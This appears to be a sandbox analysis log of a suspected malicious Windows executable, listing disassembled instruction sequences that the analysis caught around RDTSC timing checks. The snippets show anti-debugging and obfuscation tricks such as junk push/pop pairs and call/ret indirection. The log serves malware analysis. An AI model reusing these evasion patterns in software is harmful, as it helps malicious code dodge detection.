Source: C:\Users\user\Desktop\2jx1O1t486.exe	RDTSC instruction interceptor: First address: DF2604 second address: DF260A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\2jx1O1t486.exe	RDTSC instruction interceptor: First address: E35AD7 second address: E35B0D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F850D0E60E9h 0x00000009 jmp 00007F850D0E60E9h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\2jx1O1t486.exe	RDTSC instruction interceptor: First address: E35CA6 second address: E35CB9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 jmp 00007F850CC4A38Dh 0x0000000b rdtsc
Source: C:\Users\user\Desktop\2jx1O1t486.exe	RDTSC instruction interceptor: First address: E35CB9 second address: E35CCE instructions: 0x00000000 rdtsc 0x00000002 js 00007F850D0E60D6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push ecx 0x0000000d push eax 0x0000000e push edx 0x0000000f jnp 00007F850D0E60D6h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\2jx1O1t486.exe	RDTSC instruction interceptor: First address: E35E3F second address: E35E58 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F850CC4A38Eh 0x00000007 push edi 0x00000008 js 00007F850CC4A386h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\2jx1O1t486.exe	RDTSC instruction interceptor: First address: E35E58 second address: E35E63 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push ecx 0x00000008 push ebx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\2jx1O1t486.exe	RDTSC instruction interceptor: First address: E35E63 second address: E35E69 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\2jx1O1t486.exe	RDTSC instruction interceptor: First address: E383E2 second address: E383E7 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\2jx1O1t486.exe	RDTSC instruction interceptor: First address: E3879A second address: E3879E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\2jx1O1t486.exe	RDTSC instruction interceptor: First address: E38A8C second address: E38A97 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007F850D0E60D6h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\2jx1O1t486.exe	RDTSC instruction interceptor: First address: E38A97 second address: E38A9D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\2jx1O1t486.exe	RDTSC instruction interceptor: First address: E38A9D second address: E38AA1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\2jx1O1t486.exe	RDTSC instruction interceptor: First address: E38AA1 second address: E38AA5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\2jx1O1t486.exe	RDTSC instruction interceptor: First address: E38F67 second address: E38F6B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\2jx1O1t486.exe	RDTSC instruction interceptor: First address: E3902A second address: E3905A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F850CC4A392h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007F850CC4A394h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\2jx1O1t486.exe	RDTSC instruction interceptor: First address: E3905A second address: E39072 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F850D0E60E4h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\2jx1O1t486.exe	RDTSC instruction interceptor: First address: E391BF second address: E391DD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F850CC4A397h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\2jx1O1t486.exe	RDTSC instruction interceptor: First address: E394E7 second address: E394EC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\2jx1O1t486.exe	RDTSC instruction interceptor: First address: E394EC second address: E394F2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\2jx1O1t486.exe	RDTSC instruction interceptor: First address: E394F2 second address: E394F6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\2jx1O1t486.exe	RDTSC instruction interceptor: First address: E394F6 second address: E394FA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\2jx1O1t486.exe	RDTSC instruction interceptor: First address: E395C2 second address: E395C8 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\2jx1O1t486.exe	RDTSC instruction interceptor: First address: E39649 second address: E39654 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jng 00007F850CC4A386h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\2jx1O1t486.exe	RDTSC instruction interceptor: First address: E39654 second address: E39661 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push ecx 0x00000009 push eax 0x0000000a push edx 0x0000000b push edi 0x0000000c pop edi 0x0000000d rdtsc
Source: C:\Users\user\Desktop\2jx1O1t486.exe	RDTSC instruction interceptor: First address: E3A4FA second address: E3A4FF instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\2jx1O1t486.exe	RDTSC instruction interceptor: First address: E3B577 second address: E3B581 instructions: 0x00000000 rdtsc 0x00000002 js 00007F850D0E60DCh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\2jx1O1t486.exe	RDTSC instruction interceptor: First address: E3B581 second address: E3B5C2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 nop 0x00000007 mov edi, dword ptr [ebp+122D3C12h] 0x0000000d push 00000000h 0x0000000f push 00000000h 0x00000011 push 00000000h 0x00000013 push esi 0x00000014 call 00007F850CC4A388h 0x00000019 pop esi 0x0000001a mov dword ptr [esp+04h], esi 0x0000001e add dword ptr [esp+04h], 0000001Ch 0x00000026 inc esi 0x00000027 push esi 0x00000028 ret 0x00000029 pop esi 0x0000002a ret 0x0000002b sbb esi, 20BAA8E1h 0x00000031 push eax 0x00000032 pushad 0x00000033 push eax 0x00000034 push edx 0x00000035 pushad 0x00000036 popad 0x00000037 rdtsc
Source: C:\Users\user\Desktop\2jx1O1t486.exe	RDTSC instruction interceptor: First address: E3B5C2 second address: E3B5D0 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jnp 00007F850D0E60D6h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\2jx1O1t486.exe	RDTSC instruction interceptor: First address: E3C07E second address: E3C087 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\2jx1O1t486.exe	RDTSC instruction interceptor: First address: E3CACF second address: E3CAD9 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F850D0E60DCh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\2jx1O1t486.exe	RDTSC instruction interceptor: First address: E3D2FF second address: E3D305 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\2jx1O1t486.exe	RDTSC instruction interceptor: First address: E3E9C8 second address: E3E9CD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\2jx1O1t486.exe	RDTSC instruction interceptor: First address: E435F2 second address: E43663 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 mov dword ptr [esp], eax 0x00000008 mov bx, E26Ah 0x0000000c mov ebx, dword ptr [ebp+122D5923h] 0x00000012 push 00000000h 0x00000014 push 00000000h 0x00000016 push ebx 0x00000017 call 00007F850CC4A388h 0x0000001c pop ebx 0x0000001d mov dword ptr [esp+04h], ebx 0x00000021 add dword ptr [esp+04h], 00000016h 0x00000029 inc ebx 0x0000002a push ebx 0x0000002b ret 0x0000002c pop ebx 0x0000002d ret 0x0000002e jmp 00007F850CC4A38Fh 0x00000033 push 00000000h 0x00000035 movsx edi, di 0x00000038 xchg eax, esi 0x00000039 jc 00007F850CC4A3A5h 0x0000003f pushad 0x00000040 jnl 00007F850CC4A386h 0x00000046 jmp 00007F850CC4A397h 0x0000004b popad 0x0000004c push eax 0x0000004d pushad 0x0000004e pushad 0x0000004f push eax 0x00000050 push edx 0x00000051 rdtsc
Source: C:\Users\user\Desktop\2jx1O1t486.exe	RDTSC instruction interceptor: First address: DFC76B second address: DFC76F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\2jx1O1t486.exe	RDTSC instruction interceptor: First address: DFC76F second address: DFC79C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jnl 00007F850CC4A3A0h 0x0000000c popad 0x0000000d pushad 0x0000000e pushad 0x0000000f push eax 0x00000010 pop eax 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\2jx1O1t486.exe	RDTSC instruction interceptor: First address: DFC79C second address: DFC7A2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\2jx1O1t486.exe	RDTSC instruction interceptor: First address: DFC7A2 second address: DFC7A8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\2jx1O1t486.exe	RDTSC instruction interceptor: First address: DFC7A8 second address: DFC7D9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007F850D0E60E2h 0x0000000a jnc 00007F850D0E60E2h 0x00000010 jbe 00007F850D0E60E2h 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\2jx1O1t486.exe	RDTSC instruction interceptor: First address: DFC7D9 second address: DFC7DF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\2jx1O1t486.exe	RDTSC instruction interceptor: First address: E45C46 second address: E45C4A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\2jx1O1t486.exe	RDTSC instruction interceptor: First address: E45C4A second address: E45C4E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\2jx1O1t486.exe	RDTSC instruction interceptor: First address: E45C4E second address: E45CBD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 mov dword ptr [esp], eax 0x00000009 push 00000000h 0x0000000b push esi 0x0000000c call 00007F850D0E60D8h 0x00000011 pop esi 0x00000012 mov dword ptr [esp+04h], esi 0x00000016 add dword ptr [esp+04h], 0000001Ah 0x0000001e inc esi 0x0000001f push esi 0x00000020 ret 0x00000021 pop esi 0x00000022 ret 0x00000023 movsx ebx, cx 0x00000026 cmc 0x00000027 push 00000000h 0x00000029 movsx edi, cx 0x0000002c push 00000000h 0x0000002e push 00000000h 0x00000030 push edi 0x00000031 call 00007F850D0E60D8h 0x00000036 pop edi 0x00000037 mov dword ptr [esp+04h], edi 0x0000003b add dword ptr [esp+04h], 00000019h 0x00000043 inc edi 0x00000044 push edi 0x00000045 ret 0x00000046 pop edi 0x00000047 ret 0x00000048 pushad 0x00000049 sub dword ptr [ebp+122D242Eh], ecx 0x0000004f add al, 0000003Eh 0x00000052 popad 0x00000053 and edi, 1D233B9Fh 0x00000059 push eax 0x0000005a push eax 0x0000005b push edx 0x0000005c push eax 0x0000005d push edx 0x0000005e push esi 0x0000005f pop esi 0x00000060 rdtsc
Source: C:\Users\user\Desktop\2jx1O1t486.exe	RDTSC instruction interceptor: First address: E45CBD second address: E45CC3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\2jx1O1t486.exe	RDTSC instruction interceptor: First address: E45CC3 second address: E45CCE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jns 00007F850D0E60D6h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\2jx1O1t486.exe	RDTSC instruction interceptor: First address: E46CD8 second address: E46CDD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\2jx1O1t486.exe	RDTSC instruction interceptor: First address: E45E81 second address: E45E85 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\2jx1O1t486.exe	RDTSC instruction interceptor: First address: E46CDD second address: E46D68 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F850CC4A393h 0x00000008 jmp 00007F850CC4A38Dh 0x0000000d pop edx 0x0000000e pop eax 0x0000000f mov dword ptr [esp], eax 0x00000012 stc 0x00000013 push 00000000h 0x00000015 push 00000000h 0x00000017 push ecx 0x00000018 call 00007F850CC4A388h 0x0000001d pop ecx 0x0000001e mov dword ptr [esp+04h], ecx 0x00000022 add dword ptr [esp+04h], 0000001Dh 0x0000002a inc ecx 0x0000002b push ecx 0x0000002c ret 0x0000002d pop ecx 0x0000002e ret 0x0000002f jmp 00007F850CC4A396h 0x00000034 push 00000000h 0x00000036 push 00000000h 0x00000038 push ebx 0x00000039 call 00007F850CC4A388h 0x0000003e pop ebx 0x0000003f mov dword ptr [esp+04h], ebx 0x00000043 add dword ptr [esp+04h], 0000001Ch 0x0000004b inc ebx 0x0000004c push ebx 0x0000004d ret 0x0000004e pop ebx 0x0000004f ret 0x00000050 mov dword ptr [ebp+12466FBAh], edi 0x00000056 xchg eax, esi 0x00000057 push eax 0x00000058 push edx 0x00000059 push edx 0x0000005a push edi 0x0000005b pop edi 0x0000005c pop edx 0x0000005d rdtsc
Source: C:\Users\user\Desktop\2jx1O1t486.exe	RDTSC instruction interceptor: First address: E46D68 second address: E46D89 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push edx 0x00000004 pop edx 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a jmp 00007F850D0E60DFh 0x0000000f je 00007F850D0E60DCh 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\2jx1O1t486.exe	RDTSC instruction interceptor: First address: E4807A second address: E48088 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jns 00007F850CC4A386h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\2jx1O1t486.exe	RDTSC instruction interceptor: First address: E49D1A second address: E49D29 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jng 00007F850D0E60D6h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\2jx1O1t486.exe	RDTSC instruction interceptor: First address: E4AEC6 second address: E4AECB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\2jx1O1t486.exe	RDTSC instruction interceptor: First address: E4AECB second address: E4AED0 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\2jx1O1t486.exe	RDTSC instruction interceptor: First address: E4AED0 second address: E4AF4F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 jmp 00007F850CC4A392h 0x0000000d nop 0x0000000e pushad 0x0000000f mov dword ptr [ebp+122D2939h], eax 0x00000015 sbb bx, F899h 0x0000001a popad 0x0000001b push 00000000h 0x0000001d push 00000000h 0x0000001f push ebx 0x00000020 call 00007F850CC4A388h 0x00000025 pop ebx 0x00000026 mov dword ptr [esp+04h], ebx 0x0000002a add dword ptr [esp+04h], 0000001Bh 0x00000032 inc ebx 0x00000033 push ebx 0x00000034 ret 0x00000035 pop ebx 0x00000036 ret 0x00000037 mov dword ptr [ebp+12456124h], edi 0x0000003d push 00000000h 0x0000003f push 00000000h 0x00000041 push esi 0x00000042 call 00007F850CC4A388h 0x00000047 pop esi 0x00000048 mov dword ptr [esp+04h], esi 0x0000004c add dword ptr [esp+04h], 0000001Bh 0x00000054 inc esi 0x00000055 push esi 0x00000056 ret 0x00000057 pop esi 0x00000058 ret 0x00000059 xchg eax, esi 0x0000005a push eax 0x0000005b push edx 0x0000005c push eax 0x0000005d push edx 0x0000005e push eax 0x0000005f pop eax 0x00000060 rdtsc
Source: C:\Users\user\Desktop\2jx1O1t486.exe	RDTSC instruction interceptor: First address: E4AF4F second address: E4AF53 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\2jx1O1t486.exe	RDTSC instruction interceptor: First address: E4AF53 second address: E4AF59 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\2jx1O1t486.exe	RDTSC instruction interceptor: First address: E4BD74 second address: E4BD79 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\2jx1O1t486.exe	RDTSC instruction interceptor: First address: E4BD79 second address: E4BD96 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F850CC4A393h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\2jx1O1t486.exe	RDTSC instruction interceptor: First address: E4CD49 second address: E4CD53 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 je 00007F850D0E60D6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\2jx1O1t486.exe	RDTSC instruction interceptor: First address: E4CD53 second address: E4CDD0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jmp 00007F850CC4A397h 0x0000000e nop 0x0000000f push 00000000h 0x00000011 push edx 0x00000012 call 00007F850CC4A388h 0x00000017 pop edx 0x00000018 mov dword ptr [esp+04h], edx 0x0000001c add dword ptr [esp+04h], 0000001Ah 0x00000024 inc edx 0x00000025 push edx 0x00000026 ret 0x00000027 pop edx 0x00000028 ret 0x00000029 mov dword ptr [ebp+122D209Ch], ecx 0x0000002f jno 00007F850CC4A38Ch 0x00000035 push 00000000h 0x00000037 cmc 0x00000038 push 00000000h 0x0000003a jnc 00007F850CC4A398h 0x00000040 push ecx 0x00000041 call 00007F850CC4A38Fh 0x00000046 pop ebx 0x00000047 pop edi 0x00000048 cld 0x00000049 xchg eax, esi 0x0000004a push ecx 0x0000004b push eax 0x0000004c push edx 0x0000004d jg 00007F850CC4A386h 0x00000053 rdtsc
Source: C:\Users\user\Desktop\2jx1O1t486.exe	RDTSC instruction interceptor: First address: E4DEC8 second address: E4DECD instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\2jx1O1t486.exe	RDTSC instruction interceptor: First address: E4DECD second address: E4DEE9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F850CC4A392h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\2jx1O1t486.exe	RDTSC instruction interceptor: First address: E50D81 second address: E50D85 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\2jx1O1t486.exe	RDTSC instruction interceptor: First address: E51F72 second address: E51F96 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F850CC4A399h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e push edx 0x0000000f pop edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\2jx1O1t486.exe	RDTSC instruction interceptor: First address: E51F96 second address: E51FA0 instructions: 0x00000000 rdtsc 0x00000002 js 00007F850D0E60D6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\2jx1O1t486.exe	RDTSC instruction interceptor: First address: E51FA0 second address: E51FA5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\2jx1O1t486.exe	RDTSC instruction interceptor: First address: E51FA5 second address: E51FAB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\2jx1O1t486.exe	RDTSC instruction interceptor: First address: E4E082 second address: E4E088 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\2jx1O1t486.exe	RDTSC instruction interceptor: First address: E4E088 second address: E4E08C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\2jx1O1t486.exe	RDTSC instruction interceptor: First address: E4E08C second address: E4E090 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\2jx1O1t486.exe	RDTSC instruction interceptor: First address: E4E090 second address: E4E09D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push ecx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\2jx1O1t486.exe	RDTSC instruction interceptor: First address: E50129 second address: E50145 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F850CC4A386h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a ja 00007F850CC4A38Ch 0x00000010 popad 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\2jx1O1t486.exe	RDTSC instruction interceptor: First address: E4F137 second address: E4F1DA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F850D0E60E6h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b jmp 00007F850D0E60DDh 0x00000010 jmp 00007F850D0E60E5h 0x00000015 popad 0x00000016 nop 0x00000017 push 00000000h 0x00000019 push esi 0x0000001a call 00007F850D0E60D8h 0x0000001f pop esi 0x00000020 mov dword ptr [esp+04h], esi 0x00000024 add dword ptr [esp+04h], 00000015h 0x0000002c inc esi 0x0000002d push esi 0x0000002e ret 0x0000002f pop esi 0x00000030 ret 0x00000031 mov edi, dword ptr [ebp+122D1828h] 0x00000037 push dword ptr fs:[00000000h] 0x0000003e push ecx 0x0000003f mov edi, ecx 0x00000041 pop edi 0x00000042 mov edi, 5FF06697h 0x00000047 mov dword ptr fs:[00000000h], esp 0x0000004e add dword ptr [ebp+122D1893h], edx 0x00000054 mov eax, dword ptr [ebp+122D0AADh] 0x0000005a jmp 00007F850D0E60DFh 0x0000005f push FFFFFFFFh 0x00000061 mov dword ptr [ebp+1244E652h], esi 0x00000067 push eax 0x00000068 pushad 0x00000069 push eax 0x0000006a push edx 0x0000006b push eax 0x0000006c push edx 0x0000006d rdtsc
Source: C:\Users\user\Desktop\2jx1O1t486.exe	RDTSC instruction interceptor: First address: E4E09D second address: E4E140 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pop edx 0x00000006 nop 0x00000007 adc bx, CFDEh 0x0000000c push dword ptr fs:[00000000h] 0x00000013 sub dword ptr [ebp+1247D1B6h], ebx 0x00000019 mov dword ptr [ebp+124561EDh], esi 0x0000001f mov dword ptr fs:[00000000h], esp 0x00000026 call 00007F850CC4A392h 0x0000002b mov edi, ecx 0x0000002d pop edi 0x0000002e mov eax, dword ptr [ebp+122D0141h] 0x00000034 jnc 00007F850CC4A3A2h 0x0000003a push FFFFFFFFh 0x0000003c push 00000000h 0x0000003e push ebx 0x0000003f call 00007F850CC4A388h 0x00000044 pop ebx 0x00000045 mov dword ptr [esp+04h], ebx 0x00000049 add dword ptr [esp+04h], 0000001Ah 0x00000051 inc ebx 0x00000052 push ebx 0x00000053 ret 0x00000054 pop ebx 0x00000055 ret 0x00000056 mov edi, dword ptr [ebp+122D3C96h] 0x0000005c jnc 00007F850CC4A38Ch 0x00000062 nop 0x00000063 jo 00007F850CC4A38Eh 0x00000069 push ecx 0x0000006a push eax 0x0000006b push edx 0x0000006c rdtsc
Source: C:\Users\user\Desktop\2jx1O1t486.exe	RDTSC instruction interceptor: First address: E4F1DA second address: E4F1DE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\2jx1O1t486.exe	RDTSC instruction interceptor: First address: E5300D second address: E53012 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\2jx1O1t486.exe	RDTSC instruction interceptor: First address: E4E140 second address: E4E154 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jc 00007F850D0E60DCh 0x0000000e ja 00007F850D0E60D6h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\2jx1O1t486.exe	RDTSC instruction interceptor: First address: E53012 second address: E53048 instructions: 0x00000000 rdtsc 0x00000002 jns 00007F850CC4A38Ch 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov dword ptr [esp], eax 0x0000000d or edi, 513EAB2Eh 0x00000013 push 00000000h 0x00000015 sub edi, 7073054Eh 0x0000001b push 00000000h 0x0000001d add dword ptr [ebp+122D1EA8h], edx 0x00000023 push eax 0x00000024 push eax 0x00000025 push edx 0x00000026 pushad 0x00000027 jp 00007F850CC4A386h 0x0000002d push eax 0x0000002e pop eax 0x0000002f popad 0x00000030 rdtsc
Source: C:\Users\user\Desktop\2jx1O1t486.exe	RDTSC instruction interceptor: First address: E4E154 second address: E4E164 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F850D0E60DCh 0x00000009 rdtsc
